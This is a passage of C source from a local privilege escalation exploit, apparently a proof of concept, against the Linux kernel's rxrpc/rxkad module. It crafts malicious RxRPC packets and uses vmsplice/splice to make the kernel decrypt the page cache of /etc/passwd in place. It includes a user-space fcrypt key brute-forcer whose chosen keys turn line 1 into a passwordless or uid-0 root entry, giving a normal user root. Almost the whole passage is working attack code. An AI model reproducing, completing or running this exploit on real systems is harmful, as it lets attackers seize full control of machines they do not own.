int rc = poll(&pfd, 1, timeout_ms);
if (rc <= 0) return -1;
socklen_t fl = from ? sizeof(*from) : 0;
return recvfrom(s, buf, cap, 0,
(struct sockaddr *)from, from ? &fl : NULL);
}
/* =================================================================== */
/* main PoC */
/* =================================================================== */
static int trigger_seq = 0;
static int do_one_trigger(int target_fd, off_t splice_off, size_t splice_len)
{
char keyname[32];
snprintf(keyname, sizeof(keyname), "evil%d", trigger_seq++);
long key = add\_rxrpc\_key(keyname);
if (key < 0) {
if (trigger\_seq < 5) WARN("add\_rxrpc\_key(%s): %s", keyname, strerror(errno));
return -1;
}
/\* Use varying ports so kernel TIME\_WAIT / stale state does not bite. \*/
uint16\_t port\_S = 7777 + (trigger\_seq \* 2 % 200);
uint16\_t port\_C = port\_S + 1;
uint16\_t svc\_id = 1234;
int udp\_srv = setup\_udp\_server(port\_S);
if (udp\_srv < 0) {
if (trigger\_seq < 5) WARN("setup\_udp\_server(%u) failed", port\_S);
syscall(SYS\_keyctl, 3 /\*KEYCTL\_INVALIDATE\*/, key); return -1;
}
int rxsk\_cli = setup\_rxrpc\_client(port\_C, keyname);
if (rxsk\_cli < 0) {
if (trigger\_seq < 5) WARN("setup\_rxrpc\_client(%u, %s) failed", port\_C, keyname);
close(udp\_srv); syscall(SYS\_keyctl, 3, key); return -1;
}
if (rxrpc\_client\_initiate\_call(rxsk\_cli, port\_S, svc\_id, 0xDEAD) < 0) {
if (trigger\_seq < 5) WARN("rxrpc\_client\_initiate\_call failed");
close(rxsk\_cli); close(udp\_srv); syscall(SYS\_keyctl, 3, key); return -1;
}
uint8\_t pkt\[2048\];
struct sockaddr\_in cli\_addr;
ssize\_t n = udp\_recv\_to(udp\_srv, pkt, sizeof(pkt), &cli\_addr, 1500);
if (n < (ssize\_t)sizeof(struct rxrpc\_wire\_header)) {
if (trigger\_seq < 5) WARN("udp\_recv\_to: n=%zd errno=%s", n, strerror(errno));
close(rxsk\_cli); close(udp\_srv); syscall(SYS\_keyctl, 3, key); return -1;
}
struct rxrpc\_wire\_header \*whdr\_in = (struct rxrpc\_wire\_header \*)pkt;
uint32\_t epoch = ntohl(whdr\_in->epoch);
uint32\_t cid = ntohl(whdr\_in->cid);
uint32\_t callN = ntohl(whdr\_in->callNumber);
uint16\_t svc\_in = ntohs(whdr\_in->serviceId);
uint16\_t cli\_port = ntohs(cli\_addr.sin\_port);
/\* Send CHALLENGE \*/
{
struct {
struct rxrpc\_wire\_header hdr;
struct rxkad\_challenge ch;
} \_\_attribute\_\_((packed)) c = {0};
c.hdr.epoch = htonl(epoch);
c.hdr.cid = htonl(cid);
c.hdr.callNumber = 0; c.hdr.seq = 0;
c.hdr.serial = htonl(0x10000);
c.hdr.type = RXRPC\_PACKET\_TYPE\_CHALLENGE;
c.hdr.securityIndex = 2;
c.hdr.serviceId = htons(svc\_in);
c.ch.version = htonl(2); c.ch.nonce = htonl(0xDEADBEEFu);
c.ch.min\_level = htonl(1);
struct sockaddr\_in to = { .sin\_family=AF\_INET, .sin\_port=htons(cli\_port),
.sin\_addr.s\_addr=htonl(0x7F000001) };
if (sendto(udp\_srv, &c, sizeof(c), 0, (struct sockaddr\*)&to, sizeof(to)) < 0) {
close(rxsk\_cli); close(udp\_srv); syscall(SYS\_keyctl, 3, key); return -1;
}
}
/\* Drain RESPONSE (best-effort) \*/
for (int i = 0; i < 4; i++) {
struct sockaddr\_in src;
if (udp\_recv\_to(udp\_srv, pkt, sizeof(pkt), &src, 500) < 0) break;
}
/\* csum + cksum with CURRENT SESSION\_KEY \*/
uint8\_t csum\_iv\[8\] = {0};
if (compute\_csum\_iv(epoch, cid, 2, SESSION\_KEY, csum\_iv) < 0) {
close(rxsk\_cli); close(udp\_srv); syscall(SYS\_keyctl, 3, key); return -1;
}
uint16\_t cksum\_h = 0;
if (compute\_cksum(cid, callN, 1, SESSION\_KEY, csum\_iv, &cksum\_h) < 0) {
close(rxsk\_cli); close(udp\_srv); syscall(SYS\_keyctl, 3, key); return -1;
}
/\* Build malicious DATA header \*/
struct rxrpc\_wire\_header mal = {0};
mal.epoch = htonl(epoch);
mal.cid = htonl(cid);
mal.callNumber = htonl(callN);
mal.seq = htonl(1);
mal.serial = htonl(0x42000);
mal.type = RXRPC\_PACKET\_TYPE\_DATA;
mal.flags = RXRPC\_LAST\_PACKET;
mal.securityIndex = 2;
mal.cksum = htons(cksum\_h);
mal.serviceId = htons(svc\_in);
/\* connect udp\_srv → client port for splice \*/
struct sockaddr\_in dst = { .sin\_family=AF\_INET, .sin\_port=htons(cli\_port),
.sin\_addr.s\_addr=htonl(0x7F000001) };
if (connect(udp\_srv, (struct sockaddr\*)&dst, sizeof(dst)) < 0) {
close(rxsk\_cli); close(udp\_srv); syscall(SYS\_keyctl, 3, key); return -1;
}
/\* pipe + vmsplice header + splice file → pipe → udp\_srv \*/
int p\[2\];
if (pipe(p) < 0) {
close(rxsk\_cli); close(udp\_srv); syscall(SYS\_keyctl, 3, key); return -1;
}
{
struct iovec viv = { .iov\_base = &mal, .iov\_len = sizeof(mal) };
if (vmsplice(p\[1\], &viv, 1, 0) < 0) goto trig\_fail;
}
{
loff\_t off = splice\_off;
if (splice(target\_fd, &off, p\[1\], NULL, splice\_len, SPLICE\_F\_NONBLOCK) < 0)
goto trig\_fail;
}
if (splice(p\[0\], NULL, udp\_srv, NULL, sizeof(mal) + splice\_len, 0) < 0) {
goto trig\_fail;
}
close(p\[0\]); close(p\[1\]);
/\* recvmsg the malicious DATA into the kernel's verify\_packet path \*/
int fl = fcntl(rxsk\_cli, F\_GETFL);
fcntl(rxsk\_cli, F\_SETFL, fl | O\_NONBLOCK);
for (int round = 0; round < 5; round++) {
char rb\[2048\];
struct sockaddr\_rxrpc srx;
char ccb\[256\];
struct msghdr m = {0};
struct iovec iv = { .iov\_base = rb, .iov\_len = sizeof(rb) };
m.msg\_name = &srx; m.msg\_namelen = sizeof(srx);
m.msg\_iov = &iv; m.msg\_iovlen = 1;
m.msg\_control = ccb; m.msg\_controllen = sizeof(ccb);
ssize\_t r = recvmsg(rxsk\_cli, &m, 0);
if (r > 0) break;
if (errno == EAGAIN || errno == EWOULDBLOCK) usleep(20000);
else break;
}
fcntl(rxsk\_cli, F\_SETFL, fl);
close(rxsk\_cli);
close(udp\_srv);
syscall(SYS\_keyctl, 3, key);
return 0;
trig_fail:
close(p[0]); close(p[1]);
close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key);
return -1;
}
/* ===================================================================
* USER-SPACE pcbc(fcrypt) BRUTE-FORCE
*
* The kernel's rxkad_verify_packet_1() does an in-place 8-byte
* pcbc(fcrypt) decrypt with iv=0 over the page-cache page at the splice
* offset. pcbc with single 8-B block and IV=0 reduces to a plain
* fcrypt_decrypt(C, K). We can therefore search for the right K
* entirely in user-space — without touching the kernel/VM at all —
* before applying ONE deterministic kernel trigger.
*
* Port of crypto/fcrypt.c from the kernel source (David Howells / KTH).
* Verified against kernel test vectors:
* K=0, decrypt(0E0900C73EF7ED41) = 00000000
* K=1144...66, decrypt(D8ED787477EC0680) = 123456789ABCDEF0
* =================================================================== */
static const uint8_t fc_sbox0_raw[256] = {
0xea, 0x7f, 0xb2, 0x64, 0x9d, 0xb0, 0xd9, 0x11, 0xcd, 0x86, 0x86, 0x91, 0x0a, 0xb2, 0x93, 0x06,
0x0e, 0x06, 0xd2, 0x65, 0x73, 0xc5, 0x28, 0x60, 0xf2, 0x20, 0xb5, 0x38, 0x7e, 0xda, 0x9f, 0xe3,
0xd2, 0xcf, 0xc4, 0x3c, 0x61, 0xff, 0x4a, 0x4a, 0x35, 0xac, 0xaa, 0x5f, 0x2b, 0xbb, 0xbc, 0x53,
0x4e, 0x9d, 0x78, 0xa3, 0xdc, 0x09, 0x32, 0x10, 0xc6, 0x6f, 0x66, 0xd6, 0xab, 0xa9, 0xaf, 0xfd,
0x3b, 0x95, 0xe8, 0x34, 0x9a, 0x81, 0x72, 0x80, 0x9c, 0xf3, 0xec, 0xda, 0x9f, 0x26, 0x76, 0x15,
0x3e, 0x55, 0x4d, 0xde, 0x84, 0xee, 0xad, 0xc7, 0xf1, 0x6b, 0x3d, 0xd3, 0x04, 0x49, 0xaa, 0x24,
0x0b, 0x8a, 0x83, 0xba, 0xfa, 0x85, 0xa0, 0xa8, 0xb1, 0xd4, 0x01, 0xd8, 0x70, 0x64, 0xf0, 0x51,
0xd2, 0xc3, 0xa7, 0x75, 0x8c, 0xa5, 0x64, 0xef, 0x10, 0x4e, 0xb7, 0xc6, 0x61, 0x03, 0xeb, 0x44,
0x3d, 0xe5, 0xb3, 0x5b, 0xae, 0xd5, 0xad, 0x1d, 0xfa, 0x5a, 0x1e, 0x33, 0xab, 0x93, 0xa2, 0xb7,
0xe7, 0xa8, 0x45, 0xa4, 0xcd, 0x29, 0x63, 0x44, 0xb6, 0x69, 0x7e, 0x2e, 0x62, 0x03, 0xc8, 0xe0,
0x17, 0xbb, 0xc7, 0xf3, 0x3f, 0x36, 0xba, 0x71, 0x8e, 0x97, 0x65, 0x60, 0x69, 0xb6, 0xf6, 0xe6,
0x6e, 0xe0, 0x81, 0x59, 0xe8, 0xaf, 0xdd, 0x95, 0x22, 0x99, 0xfd, 0x63, 0x19, 0x74, 0x61, 0xb1,
0xb6, 0x5b, 0xae, 0x54, 0xb3, 0x70, 0xff, 0xc6, 0x3b, 0x3e, 0xc1, 0xd7, 0xe1, 0x0e, 0x76, 0xe5,
0x36, 0x4f, 0x59, 0xc7, 0x08, 0x6e, 0x82, 0xa6, 0x93, 0xc4, 0xaa, 0x26, 0x49, 0xe0, 0x21, 0x64,
0x07, 0x9f, 0x64, 0x81, 0x9c, 0xbf, 0xf9, 0xd1, 0x43, 0xf8, 0xb6, 0xb9, 0xf1, 0x24, 0x75, 0x03,
0xe4, 0xb0, 0x99, 0x46, 0x3d, 0xf5, 0xd1, 0x39, 0x72, 0x12, 0xf6, 0xba, 0x0c, 0x0d, 0x42, 0x2e,
};
static const uint8_t fc_sbox1_raw[256] = {
0x77, 0x14, 0xa6, 0xfe, 0xb2, 0x5e, 0x8c, 0x3e, 0x67, 0x6c, 0xa1, 0x0d, 0xc2, 0xa2, 0xc1, 0x85,
0x6c, 0x7b, 0x67, 0xc6, 0x23, 0xe3, 0xf2, 0x89, 0x50, 0x9c, 0x03, 0xb7, 0x73, 0xe6, 0xe1, 0x39,
0x31, 0x2c, 0x27, 0x9f, 0xa5, 0x69, 0x44, 0xd6, 0x23, 0x83, 0x98, 0x7d, 0x3c, 0xb4, 0x2d, 0x99,
0x1c, 0x1f, 0x8c, 0x20, 0x03, 0x7c, 0x5f, 0xad, 0xf4, 0xfa, 0x95, 0xca, 0x76, 0x44, 0xcd, 0xb6,
0xb8, 0xa1, 0xa1, 0xbe, 0x9e, 0x54, 0x8f, 0x0b, 0x16, 0x74, 0x31, 0x8a, 0x23, 0x17, 0x04, 0xfa,
0x79, 0x84, 0xb1, 0xf5, 0x13, 0xab, 0xb5, 0x2e, 0xaa, 0x0c, 0x60, 0x6b, 0x5b, 0xc4, 0x4b, 0xbc,
0xe2, 0xaf, 0x45, 0x73, 0xfa, 0xc9, 0x49, 0xcd, 0x00, 0x92, 0x7d, 0x97, 0x7a, 0x18, 0x60, 0x3d,
0xcf, 0x5b, 0xde, 0xc6, 0xe2, 0xe6, 0xbb, 0x8b, 0x06, 0xda, 0x08, 0x15, 0x1b, 0x88, 0x6a, 0x17,
0x89, 0xd0, 0xa9, 0xc1, 0xc9, 0x70, 0x6b, 0xe5, 0x43, 0xf4, 0x68, 0xc8, 0xd3, 0x84, 0x28, 0x0a,
0x52, 0x66, 0xa3, 0xca, 0xf2, 0xe3, 0x7f, 0x7a, 0x31, 0xf7, 0x88, 0x94, 0x5e, 0x9c, 0x63, 0xd5,
0x24, 0x66, 0xfc, 0xb3, 0x57, 0x25, 0xbe, 0x89, 0x44, 0xc4, 0xe0, 0x8f, 0x23, 0x3c, 0x12, 0x52,
0xf5, 0x1e, 0xf4, 0xcb, 0x18, 0x33, 0x1f, 0xf8, 0x69, 0x10, 0x9d, 0xd3, 0xf7, 0x28, 0xf8, 0x30,
0x05, 0x5e, 0x32, 0xc0, 0xd5, 0x19, 0xbd, 0x45, 0x8b, 0x5b, 0xfd, 0xbc, 0xe2, 0x5c, 0xa9, 0x96,
0xef, 0x70, 0xcf, 0xc2, 0x2a, 0xb3, 0x61, 0xad, 0x80, 0x48, 0x81, 0xb7, 0x1d, 0x43, 0xd9, 0xd7,
0x45, 0xf0, 0xd8, 0x8a, 0x59, 0x7c, 0x57, 0xc1, 0x79, 0xc7, 0x34, 0xd6, 0x43, 0xdf, 0xe4, 0x78,
0x16, 0x06, 0xda, 0x92, 0x76, 0x51, 0xe1, 0xd4, 0x70, 0x03, 0xe0, 0x2f, 0x96, 0x91, 0x82, 0x80,
};
static const uint8_t fc_sbox2_raw[256] = {
0xf0, 0x37, 0x24, 0x53, 0x2a, 0x03, 0x83, 0x86, 0xd1, 0xec, 0x50, 0xf0, 0x42, 0x78, 0x2f, 0x6d,
0xbf, 0x80, 0x87, 0x27, 0x95, 0xe2, 0xc5, 0x5d, 0xf9, 0x6f, 0xdb, 0xb4, 0x65, 0x6e, 0xe7, 0x24,
0xc8, 0x1a, 0xbb, 0x49, 0xb5, 0x0a, 0x7d, 0xb9, 0xe8, 0xdc, 0xb7, 0xd9, 0x45, 0x20, 0x1b, 0xce,
0x59, 0x9d, 0x6b, 0xbd, 0x0e, 0x8f, 0xa3, 0xa9, 0xbc, 0x74, 0xa6, 0xf6, 0x7f, 0x5f, 0xb1, 0x68,
0x84, 0xbc, 0xa9, 0xfd, 0x55, 0x50, 0xe9, 0xb6, 0x13, 0x5e, 0x07, 0xb8, 0x95, 0x02, 0xc0, 0xd0,
0x6a, 0x1a, 0x85, 0xbd, 0xb6, 0xfd, 0xfe, 0x17, 0x3f, 0x09, 0xa3, 0x8d, 0xfb, 0xed, 0xda, 0x1d,
0x6d, 0x1c, 0x6c, 0x01, 0x5a, 0xe5, 0x71, 0x3e, 0x8b, 0x6b, 0xbe, 0x29, 0xeb, 0x12, 0x19, 0x34,
0xcd, 0xb3, 0xbd, 0x35, 0xea, 0x4b, 0xd5, 0xae, 0x2a, 0x79, 0x5a, 0xa5, 0x32, 0x12, 0x7b, 0xdc,
0x2c, 0xd0, 0x22, 0x4b, 0xb1, 0x85, 0x59, 0x80, 0xc0, 0x30, 0x9f, 0x73, 0xd3, 0x14, 0x48, 0x40,
0x07, 0x2d, 0x8f, 0x80, 0x0f, 0xce, 0x0b, 0x5e, 0xb7, 0x5e, 0xac, 0x24, 0x94, 0x4a, 0x18, 0x15,
0x05, 0xe8, 0x02, 0x77, 0xa9, 0xc7, 0x40, 0x45, 0x89, 0xd1, 0xea, 0xde, 0x0c, 0x79, 0x2a, 0x99,
0x6c, 0x3e, 0x95, 0xdd, 0x8c, 0x7d, 0xad, 0x6f, 0xdc, 0xff, 0xfd, 0x62, 0x47, 0xb3, 0x21, 0x8a,
0xec, 0x8e, 0x19, 0x18, 0xb4, 0x6e, 0x3d, 0xfd, 0x74, 0x54, 0x1e, 0x04, 0x85, 0xd8, 0xbc, 0x1f,
0x56, 0xe7, 0x3a, 0x56, 0x67, 0xd6, 0xc8, 0xa5, 0xf3, 0x8e, 0xde, 0xae, 0x37, 0x49, 0xb7, 0xfa,
0xc8, 0xf4, 0x1f, 0xe0, 0x2a, 0x9b, 0x15, 0xd1, 0x34, 0x0e, 0xb5, 0xe0, 0x44, 0x78, 0x84, 0x59,
0x56, 0x68, 0x77, 0xa5, 0x14, 0x06, 0xf5, 0x2f, 0x8c, 0x8a, 0x73, 0x80, 0x76, 0xb4, 0x10, 0x86,
};
static const uint8_t fc_sbox3_raw[256] = {
0xa9, 0x2a, 0x48, 0x51, 0x84, 0x7e, 0x49, 0xe2, 0xb5, 0xb7, 0x42, 0x33, 0x7d, 0x5d, 0xa6, 0x12,
0x44, 0x48, 0x6d, 0x28, 0xaa, 0x20, 0x6d, 0x57, 0xd6, 0x6b, 0x5d, 0x72, 0xf0, 0x92, 0x5a, 0x1b,
0x53, 0x80, 0x24, 0x70, 0x9a, 0xcc, 0xa7, 0x66, 0xa1, 0x01, 0xa5, 0x41, 0x97, 0x41, 0x31, 0x82,
0xf1, 0x14, 0xcf, 0x53, 0x0d, 0xa0, 0x10, 0xcc, 0x2a, 0x7d, 0xd2, 0xbf, 0x4b, 0x1a, 0xdb, 0x16,
0x47, 0xf6, 0x51, 0x36, 0xed, 0xf3, 0xb9, 0x1a, 0xa7, 0xdf, 0x29, 0x43, 0x01, 0x54, 0x70, 0xa4,
0xbf, 0xd4, 0x0b, 0x53, 0x44, 0x60, 0x9e, 0x23, 0xa1, 0x18, 0x68, 0x4f, 0xf0, 0x2f, 0x82, 0xc2,
0x2a, 0x41, 0xb2, 0x42, 0x0c, 0xed, 0x0c, 0x1d, 0x13, 0x3a, 0x3c, 0x6e, 0x35, 0xdc, 0x60, 0x65,
0x85, 0xe9, 0x64, 0x02, 0x9a, 0x3f, 0x9f, 0x87, 0x96, 0xdf, 0xbe, 0xf2, 0xcb, 0xe5, 0x6c, 0xd4,
0x5a, 0x83, 0xbf, 0x92, 0x1b, 0x94, 0x00, 0x42, 0xcf, 0x4b, 0x00, 0x75, 0xba, 0x8f, 0x76, 0x5f,
0x5d, 0x3a, 0x4d, 0x09, 0x12, 0x08, 0x38, 0x95, 0x17, 0xe4, 0x01, 0x1d, 0x4c, 0xa9, 0xcc, 0x85,
0x82, 0x4c, 0x9d, 0x2f, 0x3b, 0x66, 0xa1, 0x34, 0x10, 0xcd, 0x59, 0x89, 0xa5, 0x31, 0xcf, 0x05,
0xc8, 0x84, 0xfa, 0xc7, 0xba, 0x4e, 0x8b, 0x1a, 0x19, 0xf1, 0xa1, 0x3b, 0x18, 0x12, 0x17, 0xb0,
0x98, 0x8d, 0x0b, 0x23, 0xc3, 0x3a, 0x2d, 0x20, 0xdf, 0x13, 0xa0, 0xa8, 0x4c, 0x0d, 0x6c, 0x2f,
0x47, 0x13, 0x13, 0x52, 0x1f, 0x2d, 0xf5, 0x79, 0x3d, 0xa2, 0x54, 0xbd, 0x69, 0xc8, 0x6b, 0xf3,
0x05, 0x28, 0xf1, 0x16, 0x46, 0x40, 0xb0, 0x11, 0xd3, 0xb7, 0x95, 0x49, 0xcf, 0xc3, 0x1d, 0x8f,
0xd8, 0xe1, 0x73, 0xdb, 0xad, 0xc8, 0xc9, 0xa9, 0xa1, 0xc2, 0xc5, 0xe3, 0xba, 0xfc, 0x0e, 0x25,
};
static uint32_t fc_sbox0[256], fc_sbox1[256], fc_sbox2[256], fc_sbox3[256];
#include <endian.h>
static void fcrypt_init_sboxes(void)
{
for (int i = 0; i < 256; i++) {
fc_sbox0[i] = htobe32((uint32_t)fc_sbox0_raw[i] << 3);
fc_sbox1[i] = htobe32(((uint32_t)(fc_sbox1_raw[i] & 0x1f) << 27) |
((uint32_t)fc_sbox1_raw[i] >> 5));
fc_sbox2[i] = htobe32((uint32_t)fc_sbox2_raw[i] << 11);
fc_sbox3[i] = htobe32((uint32_t)fc_sbox3_raw[i] << 19);
}
}
#define fc_ror56_64(k, n) \
(k = (k >> (n)) | ((k & ((1ULL << (n)) - 1)) << (56 - (n))))
typedef struct { uint32_t sched[16]; } fcrypt_uctx;
static void fcrypt_user_setkey(fcrypt_uctx *ctx, const uint8_t key[8])
{
uint64_t k = 0;
k = (uint64_t)(key[0] >> 1);
k <<= 7; k |= (uint64_t)(key[1] >> 1);
k <<= 7; k |= (uint64_t)(key[2] >> 1);
k <<= 7; k |= (uint64_t)(key[3] >> 1);
k <<= 7; k |= (uint64_t)(key[4] >> 1);
k <<= 7; k |= (uint64_t)(key[5] >> 1);
k <<= 7; k |= (uint64_t)(key[6] >> 1);
k <<= 7; k |= (uint64_t)(key[7] >> 1);
ctx->sched\[0x0\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0x1\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0x2\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0x3\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0x4\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0x5\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0x6\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0x7\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0x8\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0x9\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0xa\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0xb\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0xc\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0xd\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0xe\] = htobe32((uint32\_t)k); fc\_ror56\_64(k, 11);
ctx->sched\[0xf\] = htobe32((uint32\_t)k);
}
#define FC_F(R_, L_, sched_) do { \
union { uint32_t l; uint8_t c[4]; } u; \
u.l = (sched_) ^ (R_); \
L_ ^= fc_sbox0[u.c[0]] ^ fc_sbox1[u.c[1]] ^ \
fc_sbox2[u.c[2]] ^ fc_sbox3[u.c[3]]; \
} while (0)
static void fcrypt_user_decrypt(const fcrypt_uctx *ctx,
uint8_t out[8], const uint8_t in[8])
{
uint32_t L, R;
memcpy(&L, in, 4);
memcpy(&R, in + 4, 4);
FC_F(L, R, ctx->sched[0xf]);
FC_F(R, L, ctx->sched[0xe]);
FC_F(L, R, ctx->sched[0xd]);
FC_F(R, L, ctx->sched[0xc]);
FC_F(L, R, ctx->sched[0xb]);
FC_F(R, L, ctx->sched[0xa]);
FC_F(L, R, ctx->sched[0x9]);
FC_F(R, L, ctx->sched[0x8]);
FC_F(L, R, ctx->sched[0x7]);
FC_F(R, L, ctx->sched[0x6]);
FC_F(L, R, ctx->sched[0x5]);
FC_F(R, L, ctx->sched[0x4]);
FC_F(L, R, ctx->sched[0x3]);
FC_F(R, L, ctx->sched[0x2]);
FC_F(L, R, ctx->sched[0x1]);
FC_F(R, L, ctx->sched[0x0]);
memcpy(out, &L, 4);
memcpy(out + 4, &R, 4);
}
/* For the 2-splice chain we want the line to have EXACTLY 6 ':' and a
* shell field that equals "/bin/bash" (in /etc/shells, valid path).
* The two splices interlock as:
*
* bytes 7..14 (offset 2800): P1 — sets uid=0, gid=1 digit, then
* 4 random gecos-prefix bytes.
* bytes 15..22 (offset 2808): P2 — wipes the original ':' at line
* pos 16, preserves ':' at pos 21 and '/' at pos 22.
*
* Combined line: "test:x:0:G:GGGGGGGGGG:/home/test:/bin/bash"
* pos 0 8 21 32
*
* pw_uid=0, pw_gid=G, pw_dir="/home/test", pw_shell="/bin/bash".
* Now `su -s /bin/bash test` proceeds through the restricted_shell()
* check (because /bin/bash IS in /etc/shells) and exec()s /bin/bash
* under uid=0.
*
* === 3-splice predicates ===
*
* After applying splices A, B, C in order to /etc/passwd line 1
* (offsets 4, 6, 8 — each 8 bytes, last-write-wins), the final state
* of chars 4..15 is determined by these P bytes:
*
* char 4 = P_A[0] want: ':'
* char 5 = P_A[1] want: ':'
* char 6 = P_B[0] want: '0' (overwrites P_A[2])
* char 7 = P_B[1] want: ':' (overwrites P_A[3])
* char 8 = P_C[0] want: '0' (overwrites P_A[4]/P_B[2])
* char 9 = P_C[1] want: ':' (overwrites P_A[5]/P_B[3])
* char 10..14 = P_C[2..6] want: any byte except ':' '\0' '\n'
* char 15 = P_C[7] want: ':'
*
* The constraints on P_A[2..7] and P_B[2..7] are vacuous because they
* are overwritten before /etc/passwd is read by anyone — we only care
* about the final state. */
static inline int fc_check_pa_nullok(const uint8_t P[8])
{
return P[0] == ':' && P[1] == ':';
}
static inline int fc_check_pb_nullok(const uint8_t P[8])
{
return P[0] == '0' && P[1] == ':';
}
static inline int fc_check_pc_nullok(const uint8_t P[8])
{
if (P[0] != '0') return 0;
if (P[1] != ':') return 0;
if (P[7] != ':') return 0;
for (int i = 2; i < 7; i++) {
if (P[i] == ':' || P[i] == '\0' || P[i] == '\n') return 0;
}
return 1;
}
static uint64_t fc_splitmix64(uint64_t *s)
{
uint64_t z = (*s += 0x9E3779B97F4A7C15ULL);
z = (z ^ (z >> 30)) * 0xBF58476D1CE4E5B9ULL;
z = (z ^ (z >> 27)) * 0x94D049BB133111EBULL;
return z ^ (z >> 31);
}
/* Generic brute-force. `predicate` decides if a P is acceptable. */
typedef int (*pcheck_fn)(const uint8_t P[8]);
static int find_K_offline_generic(const uint8_t C[8], uint64_t max_iters,
pcheck_fn check,
uint8_t K_out[8], uint8_t P_out[8],
uint64_t seed_init,
const char *label)
{
fcrypt_uctx ctx;
uint8_t K[8], P[8];
uint64_t seed = seed_init;
struct timespec ts0, ts1;
clock_gettime(CLOCK_MONOTONIC, &ts0);
for (uint64\_t iter = 0; iter < max\_iters; iter++) {
uint64\_t r = fc\_splitmix64(&seed);
memcpy(K, &r, 8);
fcrypt\_user\_setkey(&ctx, K);
fcrypt\_user\_decrypt(&ctx, P, C);
if (check(P)) {
memcpy(K\_out, K, 8);
memcpy(P\_out, P, 8);
clock\_gettime(CLOCK\_MONOTONIC, &ts1);
double dt = (ts1.tv\_sec - ts0.tv\_sec) +
(ts1.tv\_nsec - ts0.tv\_nsec) / 1e9;
LOG("%s found after %lu iters in %.2fs (%.2fM/s) K=%02x%02x%02x%02x%02x%02x%02x%02x P=%02x%02x%02x%02x%02x%02x%02x%02x \\"%c%c%c%c%c%c%c%c\\"",
label,
(unsigned long)iter, dt, iter / dt / 1e6,
K\[0\],K\[1\],K\[2\],K\[3\],K\[4\],K\[5\],K\[6\],K\[7\],
P\[0\],P\[1\],P\[2\],P\[3\],P\[4\],P\[5\],P\[6\],P\[7\],
(P\[0\]>=32&&P\[0\]<127)?P\[0\]:'.',
(P\[1\]>=32&&P\[1\]<127)?P\[1\]:'.',
(P\[2\]>=32&&P\[2\]<127)?P\[2\]:'.',
(P\[3\]>=32&&P\[3\]<127)?P\[3\]:'.',
(P\[4\]>=32&&P\[4\]<127)?P\[4\]:'.',
(P\[5\]>=32&&P\[5\]<127)?P\[5\]:'.',
(P\[6\]>=32&&P\[6\]<127)?P\[6\]:'.',
(P\[7\]>=32&&P\[7\]<127)?P\[7\]:'.');
return 0;
}
if ((iter & 0x3ffffff) == 0 && iter > 0) {
clock\_gettime(CLOCK\_MONOTONIC, &ts1);
double dt = (ts1.tv\_sec - ts0.tv\_sec) +
(ts1.tv\_nsec - ts0.tv\_nsec) / 1e9;
fprintf(stderr, " \[%s %.1fs\] iter=%lu (%.2fM/s)\\n",
label, dt, (unsigned long)iter, iter / dt / 1e6);
}
}
return -1;
}
int rxrpc_lpe_main(int argc, char **argv)
{
fprintf(stderr, "\n=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===\n");
fprintf(stderr, "[*] uid=%u euid=%u gid=%u\n",
getuid(), geteuid(), getgid());
{
const char \*no\_unshare = getenv("POC\_NO\_UNSHARE");
if (!no\_unshare || \*no\_unshare != '1') {
const char \*do\_unshare = getenv("POC\_UNSHARE");
if (do\_unshare && \*do\_unshare == '1') {
if (do\_unshare\_userns\_netns() < 0) return 1;
}
}
}
/\* Open a dummy AF\_RXRPC socket to autoload the rxrpc kernel module.
\* Without this, the first add\_key("rxrpc", ...) call fails with ENODEV
\* because the kernel key type "rxrpc" is registered by rxrpc\_init() in
\* the module load path. \*/
{
int dummy = socket(AF\_RXRPC, SOCK\_DGRAM, PF\_INET);
if (dummy < 0) {
WARN("socket(AF\_RXRPC): %s — module not loadable?", strerror(errno));
return 1;
}
close(dummy);
LOG("rxrpc module autoloaded via dummy socket(AF\_RXRPC)");
}
/\* Open /etc/passwd RO and mmap the first page (which contains the
\* root entry on line 1). \*/
const char \*target\_path = getenv("POC\_TARGET\_FILE");
if (!target\_path || !\*target\_path) target\_path = "/etc/passwd";
int rfd\_ro = open(target\_path, O\_RDONLY);
if (rfd\_ro < 0) {
WARN("open %s RO: %s", target\_path, strerror(errno));
return 1;
}
struct stat st;
fstat(rfd\_ro, &st);
if (st.st\_size < 32) { WARN("target too small: %lld", (long long)st.st\_size); return 1; }
LOG("target %s opened RO, size=%lld, uid=%u gid=%u mode=%04o",
target\_path, (long long)st.st\_size, st.st\_uid, st.st\_gid,
st.st\_mode & 07777);
/\* mmap first page so the page-cache page stays pinned. \*/
void \*map = mmap(NULL, 4096, PROT\_READ, MAP\_SHARED, rfd\_ro, 0);
if (map == MAP\_FAILED) { WARN("mmap: %s", strerror(errno)); return 1; }
LOG("mmap'd %s page-cache at %p (PROT\_READ|MAP\_SHARED)", target\_path, map);
/\* If a previous attempt already left the root entry in the patched
\* "root::0:0:..." form, treat as success and skip the brute-force /
\* trigger stages. Otherwise proceed regardless of current state —
\* the brute-force re-derives K\_A/K\_B/K\_C from whatever bytes are
\* currently at offsets 4/6/8 of the page-cache page, so it works
\* even on the corrupt residue from a previous failed run. \*/
{
const char \*m = (const char \*)map;
if (memcmp(m, "root::0:0", 9) == 0) {
LOG("/etc/passwd already patched (root::0:0...) — nothing to do");
return 0;
}
LOG("/etc/passwd line 1 first 16 bytes:");
for (int i = 0; i < 16; i++)
fprintf(stderr, "%02x ", (uint8\_t)m\[i\]);
fprintf(stderr, "\\n");
}
